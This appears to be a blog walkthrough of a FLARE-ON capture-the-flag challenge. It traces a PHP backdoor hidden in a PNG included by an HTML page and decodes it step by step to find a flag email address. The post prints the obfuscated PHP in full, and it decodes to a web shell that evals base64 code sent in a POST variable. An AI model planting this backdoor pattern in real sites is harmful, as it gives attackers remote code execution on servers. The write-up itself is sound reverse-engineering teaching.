FLARE-ON Challenge – Part 2

Introduction

Welcome to Part 2 of the FLARE-ON challenge! As you’re back for more, you obviously enjoyed the first challenge and are ready for a new one, and this one is completely different than the first one! This challenge was, in my opinion, somewhat easier than the first one in that it allowed a less knowledgeable person to solve it, or so it seemed at the time I solved them.

The Challenge

As you remember from Part 1, b0b.d0ge replied to our first email with:

Well done! Looks like you kicked that one. I’ve attached the next challenge for your reversing pleasure. The password to this zip archive is “malware”.
We saw what looked like attacker activity to this site, can you figure out what the attackers changed?
Hopefully you’ll knock this one out too, Good luck!
-FLARE

So this challenge involves the interwebz and h4Xing. But how is an email address involved in all this? Could the attackers be beaconing out or using email as their C&C channel? That wouldn’t be unusual, but the stealthiness of it is somewhat questionable and either way I feel that it is of little importance at this stage. Firstly, let’s find out what is in the zip:

flare-on/challege_02$ unzip -l C2.zip
Archive:  C2.zip
Length      Date    Time    Name
8375  2014-07-07 19:22   home.html
   0  2014-07-07 18:30   img/
9560  2014-07-07 18:30   img/flare-on.png
---------                     -------
17935                     3 files

So there is an image and an HTML page and neither look particularly large or out of the ordinary (then again if anything obviously stood out it wouldn’t be much of a hack). On a browser with JavaScript disabled (as well as Flash, Java, etc etc) let’s open up the page in FireFoxand. The website, shown in Figure 1, looks like the competition’s website and there are no visual indicators to suggest h4xing (i.e. it wasn’t defaced), so what could it be?

Figure 1: The website included in the zip.
Figure 1: The website included in the zip.

Our next move would be to view the source in FireFox, as it has the added benefit of viewing it in a text editor, as shown in Figure 2:

Figure 2: View-source in FireFox for the webpage.
Figure 2: View-source in FireFox for the webpage.

Firefox will give you syntax highlighting *and* highlight any bad HTML syntax (unknown tags, badly closed tags, etc etc). In this case a number of things should alert the vigilant reader: a) this is not how you include an image in an HTML page (or serve it with PHP for the matter), b) even if this was legit, the image is completely out of place, c) this is PHP code in an HTML page and it will not get parsed by the PHP engine (not in a standard LAMP configuration at least). You can embed HTML in PHP source code, but normally not the other way around.

We have found the real starting point of our investigation. Since the image is being included as part of the page, it must contain some PHP code to be executed by the PHP engine. Let’s open the image to get its contents in Sublime:

Figure 3: Sublime can do images as well.
Figure 3: Sublime can do images as well.

Thanks Sublime, really helpful, didn’t know you could do that. The image displays fine and attracts no attention, but in vim we can see some interesting things if we keep scrolling through the file:

    Figure 4: Interesting contents of our image.
Figure 4: Interesting contents of our image.

And in code:

<?php
$terms=array('M', 'Z', ']', 'p', '\\', 'w', 'f', '1', 'v', '<', 'a', 'Q', 'z', ' ', 's', 'm', '+', 'E', 'D', 'g', 'W', '\'', 'q', 'y', 'T', 'V', 'n', 'S', 'X', ')', '9', 'C', 'P', 'r', '&amp;amp;', '\'', '!', 'x', 'G', ':', '2', '~', 'O', 'h', 'u', 'U', '@', ';', 'H', '3', 'F', '6', 'b', 'L', '>', '^', ',', '.', 'l', '$', 'd', '`', '%', 'N', '*', '[', '0', '}', 'J', '-', '5', '_', 'A', '=', '{', 'k', 'o', '7', '#', 'i', 'I', 'Y', '(', 'j', '/', '?', 'K', 'c', 'B', 't', 'R', '4', '8', 'e', '|');
$order=array(59, 71, 73, 13, 35, 10, 20, 81, 76, 10, 28, 63, 12, 1, 28, 11, 76, 68, 50, 30, 11, 24, 7, 63, 45, 20, 23, 68, 87, 42, 24, 60, 87, 63, 18, 58, 87, 63, 18, 58, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 17, 37, 63, 58, 37, 91, 63, 83, 43, 87, 42, 24, 60, 87, 93, 18, 87, 66, 28, 48, 19, 66, 63, 50, 37, 91, 63, 17, 1, 87, 93, 18, 45, 66, 28, 48, 19, 40, 11, 25, 5, 70, 63, 7, 37, 91, 63, 12, 1, 87, 93, 18, 81, 37, 28, 48, 19, 12, 63, 25, 37, 91, 63, 83, 63, 87, 93, 18, 87, 23, 28, 18, 75, 49, 28, 48, 19, 49, 0, 50, 37, 91, 63, 18, 50, 87, 42, 18, 90, 87, 93, 18, 81, 40, 28, 48, 19, 40, 11, 7, 5, 70, 63, 7, 37, 91, 63, 12, 68, 87, 93, 18, 81, 7, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 18, 17, 37, 0, 50, 5, 40, 42, 50, 5, 49, 42, 25, 5, 91, 63, 50, 5, 70, 42, 25, 37, 91, 63, 75, 1, 87, 93, 18, 1, 17, 80, 58, 66, 3, 86, 27, 88, 77, 80, 38, 25, 40, 81, 20, 5, 76, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 7, 88, 32, 45, 7, 90, 52, 80, 58, 5, 70, 63, 7, 5, 66, 42, 25, 37, 91, 0, 12, 50, 87, 63, 83, 43, 87, 93, 18, 90, 38, 28, 48, 19, 7, 63, 50, 5, 37, 0, 24, 1, 87, 0, 24, 72, 66, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 1, 87, 93, 18, 11, 66, 28, 18, 87, 70, 28, 48, 19, 7, 63, 50, 5, 37, 0, 18, 1, 87, 42, 24, 60, 87, 0, 24, 17, 91, 28, 18, 75, 49, 28, 18, 45, 12, 28, 48, 19, 40, 0, 7, 5, 37, 0, 24, 90, 87, 93, 18, 81, 37, 28, 48, 19, 49, 0, 50, 5, 40, 63, 25, 5, 91, 63, 50, 5, 37, 0, 18, 68, 87, 93, 18, 1, 18, 28, 48, 19, 40, 0, 25, 5, 37, 0, 24, 90, 87, 0, 24, 72, 37, 28, 48, 19, 66, 63, 50, 5, 40, 63, 25, 37, 91, 63, 24, 63, 87, 63, 12, 68, 87, 0, 24, 17, 37, 28, 48, 19, 40, 90, 25, 37, 91, 63, 18, 90, 87, 93, 18, 90, 38, 28, 18, 19, 66, 28, 18, 75, 70, 28, 48, 19, 40, 90, 58, 37, 91, 63, 75, 11, 79, 28, 27, 75, 3, 42, 23, 88, 30, 35, 47, 59, 71, 71, 73, 35, 68, 38, 63, 8, 1, 38, 45, 30, 81, 15, 50, 12, 1, 24, 81, 66, 28, 40, 90, 58, 81, 40, 30, 75, 1, 27, 19, 75, 28, 23, 75, 77, 1, 28, 1, 43, 52, 31, 19, 75, 81, 40, 30, 75, 1, 27, 75, 77, 35, 47, 59, 71, 71, 71, 73, 21, 4, 37, 51, 40, 4, 7, 91, 7, 4, 37, 77, 49, 4, 7, 91, 70, 4, 37, 49, 51, 4, 51, 91, 4, 37, 70, 6, 4, 7, 91, 91, 4, 37, 51, 70, 4, 7, 91, 49, 4, 37, 51, 6, 4, 7, 91, 91, 4, 37, 51, 70, 21, 47, 93, 8, 10, 58, 82, 59, 71, 71, 71, 82, 59, 71, 71, 29, 29, 47);
$do_me='';
for( $i=0 ; $i < count($order) ; $i++ ){
$do_me = $do_me.$terms[$order[$i]] ;
}
eval($do_me);
?>

Bingo, got our elusive PHP! But it’s kind of obfuscated, as you would expect. Firstly, let’s comment out that eval invocation (wouldn’t just run untrusted code from the internet, would you?) and then place an “echo $do_me ;” statement after the for-loop. The contents of $do_me are shown below:

<?php
$_= 'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9';
$__='JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7';
$___='\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65';
eval($___($__));
?>

More eval magic. Again, comment that out and let’s pause for a second. At this stage we need to take a trip to php.net (link) to consult the documentation on eval and valid string representations in PHP. The reason why the injected PHP code in this scenario appears as it does is to avoid being detected, as the layers of obfuscation hide the true functionality of the code. Having few words in the code also means that the casual reader is likely to miss it. The docs have this to say about eval:

evalEvaluate a string as PHP code

And this to say about what is a valid string in PHP:

If the string is enclosed in double-quotes (“), PHP will interpret more escape sequences for special characters:

And this to say about PHP includes:

When a file is included, parsing drops out of PHP mode and into HTML mode at the beginning of the target file, and resumes again at the end. For this reason, any code inside the target file which should be executed as PHP code must be enclosed within valid PHP start and end tags.

Remember to RTFM, always. In the second code fragment we can tell that $___ is a function, and its string is actually base64_decode. This in turn means that $__ is a Base-64 encoded string. A cleaned up version of the second code fragment is shown below:

<?php
$actual_payload = 'if(isset($_POST['\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D'])) { eval(base64_decode($_POST['\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D'])); }';
$code_fragm = '$code=base64_decode($actual_payload);eval($code);';
$b64_dec = 'base64_decode';
echo '\x61\x31\x31\x44\x4F\x54\x74\x68\x61\x74\x44\x4F\x54\x6A\x61\x76\x61\x35\x63\x72\x61\x70\x41\x54\x66\x6C\x61\x72\x65\x44\x41\x53\x48\x6f\x6e\x44\x4f\x54\x63\x6F\x6D';
eval($b64_dec($code_fragm));
?>

So we can see that this is a very ghetto remote command execution mechanism with the commands being supplied by a POST variable. What is the name of that POST variable though? The following epic command line will give us a legible string:

echo -n '\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D' | sed -e 's/\\/\n/g' | awk '!/x/ {printf '%#x\n', $1};/x/{print $1}' | sed -e 's/^/\\\\/' -e 's/0x/x/g'| tr -d '\n'

If we echo the result of the above with PHP, we’ll get a11DOTthatDOTjava5crapATflareDASHonDOTcom, or in other words a11.that.java5crap@flare-on.com ! Cleared this level as well 🙂

Part 2 – The End

This was an interesting level and relatively easy level, although it required close attention. The most essential piece of knowledge required was to know that PHP will evaluate *anything* enclosed in valid PHP tags. As a further note, if you thought that this technique is really basic, so un-1337 or very easy to spot then you’d be surprised to know that this is the way that a clever group of bot-herders used to get servers (yes, servers, big beefy boxes) to make part of their botnet in 2014. Fox IT have a very interesting paper describing this interesting attack against greedy and uninformed web-masters (admittedly an easy target). The gist of the story is that the attacking group bought legitimate premium WordPress themes, removed all the protection and redistributed them. Oh yeah, they also installed a back-door in there for good measure by including an image which contained PHP code, as here.

I hope you enjoyed this challenge, stay tuned for Part 3 🙂

Advertisements
FLARE-ON Challenge – Part 2

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s